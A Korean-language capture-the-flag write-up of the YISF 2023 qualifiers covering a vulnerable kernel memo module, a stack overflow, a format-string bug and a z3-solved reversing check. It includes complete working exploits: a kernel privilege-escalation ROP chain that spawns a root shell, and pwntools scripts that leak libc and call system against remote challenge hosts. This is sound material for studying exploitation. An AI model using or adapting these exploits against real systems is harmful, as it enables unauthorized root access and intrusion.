YISF 2023 Quals

msh1307·2023년 8월 26일
0

Writeups

목록 보기
15/15
post-custom-banner

웹 라업은 생략하는 걸로 ...

Kmemo

커널 모듈에서 발생하는 취약점이다.

Analysis

ssize_t __fastcall memo_write(file *file, const char *buf, size_t count, loff_t *offset)
{
  __int64 v4; // rdx
  __int64 v5; // r12
  size_t addr[3]; // [rsp+0h] [rbp-18h] BYREF

  _fentry__(file, buf, count, offset);
  v5 = v4;
  addr[1] = __readgsqword(0x28u);
  addr[0] = 0LL;
  copy_from_user(addr, buf, 8LL);
  memo_fops.release = (int (*)(inode *, file *))addr[0];
  return v5;
}

write시 fops의 함수 포인터를 덮을 수 있다.

  v7 = 0LL;
  v11 = __readgsqword(0x28u);
  memset(result, 0, sizeof(result));
  do
  {
    v8 = chunk_pointers[v7];
    if ( v8 )
      v4 += sprintf(&result[v4], "%d : %s\n", (unsigned int)v7, v8->data);
    ++v7;
  }
  while ( top >= v7 );
  copy_to_user(buf, result, 0x2000LL);
  return v6;

read시 특정 인덱스에 대해서 읽을 수 있다.

  if ( (_DWORD)cmd == 1074294018 )
  {
    if ( !(unsigned int)copy_from_user(&data, v4, 132LL) )
    {
      if ( data.index > 9u )
        return -22LL;
      v14 = chunk_pointers[data.index];
      if ( !v14 )
        return -22LL;
      if ( v14->data[0] )
      {
        copy_to_user(v6 + 4, v14, 127LL);
        return 0LL;
      }
      return 0LL;
    }
    return -14LL;
  }
  if ( (unsigned int)cmd > 0x40086D02 )
  {
    if ( (_DWORD)cmd != 1074294019 )
      return -25LL;
    if ( !(unsigned int)copy_from_user(&data, v4, 132LL) )
    {
      if ( data.index < 0 )
        return -22LL;
      if ( data.index > top )
        return -22LL;
      v10 = chunk_pointers[data.index];
      if ( !v10 )
        return -22LL;
      if ( data.data[0] )
      {
        memset(v10, 0, 0x78uLL);
        *(_WORD *)&v10->data[124] = 0;
        index = data.index;
        *(_DWORD *)&v10->data[120] = 0;
        v10->data[126] = 0;
        strncpy(chunk_pointers[index]->data, data.data, 0x7FuLL);
      }
      return 0LL;
    }
    return -14LL;
  }
  if ( (_DWORD)cmd != 27905 )
  {
    if ( (_DWORD)cmd == 27908 )
    {
      if ( top )
      {
        v7 = chunk_pointers[top - 1];
        if ( v7 )
        {
          kfree(v7, cmd, v4, 0LL, v5, &data);
          v8 = top - 1;
          chunk_pointers[v8] = 0LL;
          top = v8;
          return 0LL;
        }
        return -22LL;
      }
      return -14LL;
    }
    return -25LL;
  }
  v12 = top;
  if ( top > 9 )
    return -22LL;
  chunk_pointers[v12] = (chunk_t_0 *)kmem_cache_alloc_trace(kmalloc_caches[7], 3264LL, 128LL, 0LL, v5, &data);
  v13 = chunk_pointers[top];
  if ( !v13 )
    return -12LL;
  memset(v13, 0, sizeof(chunk_t_0));
  result = 0LL;
  ++top;
  return result;

모듈에서 할당과 해제가 가능하다.
이때 idx는 맥시멈 9까지 총 10개의 청크를 할당할 수 있다.

Exploitation

#include <unistd.h>
#include <fcntl.h>
#include <stdint.h>
#include <sys/mman.h>
#include <stdlib.h>
#include <stdio.h>
#define ioread 0x40086D02
#define iowrite 0x40086D03
#define iokfree 0x00086D04
#define ioalloc 0x00006D01
uint64_t user_rip;
uint64_t user_cs;
uint64_t user_rflags;
uint64_t user_rsp;
uint64_t user_ss;
void shell(){
    execl("/bin/sh","sh",NULL);
}
uint64_t xchg_esp;
void save_state(){
    __asm__ __volatile__ (
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "pushf;"
        "pop user_rflags;"
        "mov user_rsp, rsp;"
        "mov user_ss, ss;"
        ".att_syntax;"
    );

}

void gad(){
    __asm__ __volatile__ (
        ".intel_syntax noprefix;"
        "mov rdi, rax;"
        "ret;"
        ".att_syntax;"
    );
}
void gad1(){
    __asm__ __volatile__ (
        ".intel_syntax noprefix;"
        "swapgs;"
        "iretq;"
        ".att_syntax;"
    );
}

uint64_t commit_creds;
uint64_t prepare_kernel_cred;
uint64_t prdi;
uint64_t push_rax;
void prep_usr_sp(uint64_t xchg_64){

    uint64_t xchg_32 = (uint64_t *)(xchg_64 & 0xffffffff);
    uint64_t * ptr = mmap((void *)(xchg_32), 0x5000,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1, 0);
    *(uint64_t *)(xchg_32) = prdi; // prdi ret
    *(uint64_t *)(xchg_32+8) = 0x0LL;
    *(uint64_t *)(xchg_32+8*2) = prepare_kernel_cred;
    *(uint64_t *)(xchg_32+8*3) = gad+8;
    *(uint64_t *)(xchg_32+8*4) = commit_creds;
    *(uint64_t *)(xchg_32+8*5) = gad1+8;
    *(uint64_t *)(xchg_32+8*6) = shell;
    *(uint64_t *)(xchg_32+8*7) = user_cs;
    *(uint64_t *)(xchg_32+8*8) = user_rflags;
    *(uint64_t *)(xchg_32+8*9) = user_rsp;
    *(uint64_t *)(xchg_32+8*10) = user_ss;

}


int main(){
    save_state();
    struct ioctl_user {
        int cnt;
        char data[128];
    } io;
    io.cnt = 0x5;

    int dev = open("/dev/memo",O_RDWR);
    for (int i=0;i<10;i++){
        printf("ioalloc : %lx\n",ioctl(dev,ioalloc,&io));
    }
    char * v = malloc(0x2000);
    read(dev,v,0x2000);
    commit_creds = *(uint64_t *)(v+52+3);
    prepare_kernel_cred = commit_creds + 0x320;
    prdi = (commit_creds & 0xffffffffff000000) + 0x1925e1;
    push_rax = 0x0604cc +  (commit_creds & 0xffffffffff000000);
    printf("commit creds : %lx\n",commit_creds);
    uint64_t buf = (commit_creds & 0xffffffffff000000) + 0x5bcb6;
    write(dev, &buf, 0x8);
    prep_usr_sp(buf);
    close(dev);
}

read 과정에서 chunk를 다 채웠을때 off by one이 발생해서 허용되지 않은 메모리 영역을 읽을 수 있다.
이때 코드 섹션의 주소를 릭할 수 있어서 이걸 이용한다.
xchg esp 가젯을 이용하면 상위 포인터를 손실시킬 수 있고, 이를 이용해서 유저영역 메모리로 점프할 수 있다.
마침 SMAP, SMEP도 없다.

bloom

Analysis

      "3. The amount of water to give to the seeds \n"
      "4. Exit \n");
    puts(line);
    puts("[>] Number: ");
    __isoc99_scanf(" %d", &v4);
    if ( v4 == 4 )
      break;
    if ( v4 > 4 )
    {
LABEL_18:
      if ( ((*__ctype_b_loc())[SLOBYTE(buf[0])] & 0x800) == 0 )
      {
        puts("Input is incorrect ");
        exit(1);
      }
    }
    else
    {
      switch ( v4 )
      {
        case 3:
          puts("[>] The amount of water to give to the seeds ");
          puts("1. 50ml\n2. 100ml\n3. 200ml");
          __isoc99_scanf("%d", &v5);
          switch ( v5 )
          {
            case 1:
              puts(seed_o);
              puts("You chose to give 50ml of water");
              break;
            case 2:
              puts(seed_t);
              puts("You chose to give 100ml of water");
              break;
            case 3:
              puts(seed_th);
              puts("You chose to give 200ml of water");
              break;
            default:
              puts(seed_th);
              puts("The seed has dried up and withered");
              break;
          }
          break;
        case 1:
          puts("[>] The location to sow seeds ");
          __isoc99_scanf("%d", &v6);
          printf("You planted it in %p  !!! \n", (const void *)v6);
          break;
        case 2:
          puts("[>] The depth of the seeds planted in the ground ");
          read(0, buf, 0x48uLL);
          break;
        default:
          goto LABEL_18;
      }
    }
  }
  puts("Good bye!");
  return 0;
}

입력을 받아주는 부분에서 bof가 발생한다.

Exploitation

from pwn import *
# p = process('./bloom')
p = remote('211.229.232.109',1004)
e = ELF('./bloom')
libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
prdi = 0x0000000000401513

p.sendlineafter(b'4. Exit \n',b'2')
p.send(b'A'*0x28 + p64(prdi) + p64(0x404040)+p64(e.plt.puts)+p64(0x004012A6))
p.sendlineafter(b'4. Exit \n',b'4')
context.log_level='debug'
p.recvuntil(b'Good bye!\n')
libc_base = (u64(p.recvuntil(b'\x7f').ljust(8,b'\x00'))) - libc.sym._IO_2_1_stdout_
success(hex(libc_base))

p.sendlineafter(b'4. Exit \n',b'2')
p.send(b'A'*0x28 + p64(prdi) + p64(libc_base+0x1d8698)+p64(0x000000000040101a)+p64(libc_base + libc.sym.system))
pause()
p.sendlineafter(b'4. Exit \n',b'4')

p.interactive()

ROP를 했다.

YISF Library

Analysis

      break;
    case 3:
      result = printf("[Computers don't lie. It's always me who lies.]");
      break;
    case 4:
      result = printf(byte_4120);
      break;
    case 5:
      result = printf(byte_4160);
      break;
    default:
      return result;
  }
  return result;
}

fsb가 발생한다.

Exploitation

from pwn import *
#p = process('./yisf_library',env={"LD_PRELOAD":"./libc.so.6"})
p = remote('211.229.232.106',1004)
context.binary = './yisf_library'
p.sendlineafter(b'> ',b'3')
p.sendlineafter(b'number>',b'2')
p.sendlineafter(b'rewrite :',b'%p %p %p %p %p %p %p %p %p %p %p %p %p')
p.sendlineafter(b'> ',b'1')
p.sendlineafter(b'> ',b'2')
arr = (p.recv()[:-1].split())
print(arr)
bin_base = int(arr[1],16) - 0x27e0
libc_base = int(arr[-1],16) - 0x29d90
stack = int(arr[7],16)

success("bin base : " + hex(bin_base))
success("libc base : "+ hex(libc_base))
success("stack : " + hex(stack))

context.log_level='debug'
p.sendlineafter(b'> ',b'3')
p.sendlineafter(b'number>',b'0')
p.sendafter(b'rewrite : ',p64(0x7fff))

p.sendlineafter(b'> ',b'2')
pause()
p.sendlineafter(b': ',b'\x00'*0x48 + p64(0x000000000002a3e5+libc_base) + p64(0x1d8698 + libc_base) + p64(0x000000000000101a + bin_base) +p64(0x0000000000050d60 + libc_base))
p.interactive()

fsb로 한번은 릭하고 한번은 read의 size를 덮어서 ROP 했다.

Basic Rev

Analysis

  setup_environment(argc, argv, envp);
  memset(v4, 0, sizeof(v4));
  v5 = 0;
  v6 = 0;
  s = (char *)v4;
  printf("Input: ");
  __isoc99_scanf("%s", s);
  if ( strlen(s) == 29
    && s[2] + s[4] - s[5] * s[1] - *s - s[6] * s[3] == 0xFFFFDC99
    && s[7] - s[2] + s[6] * s[4] * s[3] - s[5] - s[1] == 0xA6062
    && s[6] + s[7] + s[4] + s[3] - s[2] * s[5] + s[8] == 0xFFFFF13F
    && s[5] + s[7] + s[6] - s[3] * s[4] - s[9] - s[8] == 0xFFFFDE7F
    && s[8] + s[7] + s[5] - s[4] * s[10] + s[9] + s[6] == 0xFFFFD682
    && s[9] + s[5] + s[6] - s[11] + s[10] * s[7] + s[8] == 0x1244
    && s[9] + s[7] + s[12] + s[11] + s[9] - s[10] - s[6] == 0xEC
    && s[8] + s[7] - s[9] + s[10] * s[11] - s[12] - s[13] == 0x1036
    && s[11] + s[14] + s[8] + s[9] * s[13] - s[12] + s[10] == 0x2683
    && s[14] + s[11] - s[12] + s[9] * s[15] - s[10] + s[13] == 0x2A78
    && s[16] + s[14] + s[12] + s[10] - s[11] - s[13] - s[15] == 0x52
    && s[14] - s[11] - s[12] + s[17] - s[15] * s[13] + s[16] == 0xFFFFD2AF
    && s[17] + s[12] * s[13] - s[14] + s[15] * s[16] - s[18] == 0x428F
    && s[13] + s[14] - s[15] * s[16] + s[17] * s[18] - s[19] == 0xBC
    && s[17] * s[18] + s[16] + s[14] - s[15] - s[20] * s[19] == 0xFFFFE8BF
    && s[18] + s[16] + s[15] - s[17] - s[19] + s[20] * s[21] == 0x2CBF
    && s[17] * s[18] + s[16] + s[19] * s[20] - s[21] + s[22] == 0x4306
    && s[17] - s[18] - s[19] * s[20] - s[21] * s[22] - s[23] == 0xFFFFAC31
    && s[19] * s[20] + s[18] + s[21] * s[22] - s[23] + s[24] == 0x53F6
    && s[19] + s[20] - s[25] * s[24] * s[23] * s[22] * s[21] == 0xFF9393CB
    && s[23] + s[20] - s[21] * s[22] - s[24] * s[25] + s[26] == 0xFFFFB9D1
    && s[21] * s[26] - s[24] - s[25] + s[22] * s[23] * s[27] == 0x6942D
    && s[27] + s[23] * s[22] + s[24] - s[25] * s[26] - s[28] == 0xFFFFECEC )
  {
    printf("Corret (^-^)");
  }
  else
  {
    printf("Wrong input (*_*)");
  }
  return 0;
}

심플하게 입력받고 조금 비교한뒤에 correct or wrong을 출력한다.

Exploitation


from z3 import *
s = Solver()

x = [BitVec("x_%d"%i,64) for i in range(29)]
d = [i for i in x]
for i in range(29):
    x[i] &= 0xff
s.add( (x[2] + x[4] - x[5] * x[1] - x[0] - x[6] * x[3])&0xffffffff == 0xFFFFDC99)
s.add((x[7] - x[2] + x[6] * x[4] * x[3] - x[5] - x[1])&0xffffffff== 0xA6062)
s.add((x[6] + x[7] + x[4] + x[3] - x[2] * x[5] + x[8])&0xffffffff== 0xFFFFF13F)
s.add((x[5] + x[7] + x[6] - x[3] * x[4] - x[9] - x[8])&0xffffffff== 0xFFFFDE7F)
s.add((x[8] + x[7] + x[5] - x[4] * x[10] + x[9] + x[6])&0xffffffff== 0xFFFFD682)
s.add((x[9] + x[5] + x[6] - x[11] + x[10] * x[7] + x[8])&0xffffffff== 0x1244)
s.add((x[9] + x[7] + x[12] + x[11] + x[9] - x[10] - x[6])&0xffffffff== 0xEC)
s.add((x[8] + x[7] - x[9] + x[10] * x[11] - x[12] - x[13])&0xffffffff== 0x1036)
s.add((x[11] + x[14] + x[8] + x[9] * x[13] - x[12] + x[10])&0xffffffff== 0x2683)
s.add((x[14] + x[11] - x[12] + x[9] * x[15] - x[10] + x[13])&0xffffffff== 0x2A78)
s.add((x[16] + x[14] + x[12] + x[10] - x[11] - x[13] - x[15])&0xffffffff== 0x52)
s.add((x[14] - x[11] - x[12] + x[17] - x[15] * x[13] + x[16])&0xffffffff== 0xFFFFD2AF)
s.add((x[17] + x[12] * x[13] - x[14] + x[15] * x[16] - x[18])&0xffffffff== 0x428F)
s.add((x[13] + x[14] - x[15] * x[16] + x[17] * x[18] - x[19])&0xffffffff== 0xBC)
s.add((x[17] * x[18] + x[16] + x[14] - x[15] - x[20] * x[19])&0xffffffff== 0xFFFFE8BF)
s.add((x[18] + x[16] + x[15] - x[17] - x[19] + x[20] * x[21])&0xffffffff== 0x2CBF)
s.add((x[17] * x[18] + x[16] + x[19] * x[20] - x[21] + x[22])&0xffffffff== 0x4306)
s.add((x[17] - x[18] - x[19] * x[20] - x[21] * x[22] - x[23])&0xffffffff== 0xFFFFAC31)
s.add((x[19] * x[20] + x[18] + x[21] * x[22] - x[23] + x[24])&0xffffffff== 0x53F6)
s.add((x[19] + x[20] - x[25] * x[24] * x[23] * x[22] * x[21])&0xffffffff== 0xFF9393CB)
s.add((x[23] + x[20] - x[21] * x[22] - x[24] * x[25] + x[26])&0xffffffff== 0xFFFFB9D1)
s.add((x[21] * x[26] - x[24] - x[25] + x[22] * x[23] * x[27])&0xffffffff== 0x6942D)
s.add((x[27] + x[23] * x[22] + x[24] - x[25] * x[26] - x[28])&0xffffffff== 0xFFFFECEC)
s.check()
m = s.model()
for i in d:
    print(chr(m[i].as_long()),end='')

싹다 z3-solver에 때려 박아서 풀어버리면 나온다.

profile
https://msh1307.kr
post-custom-banner

0개의 댓글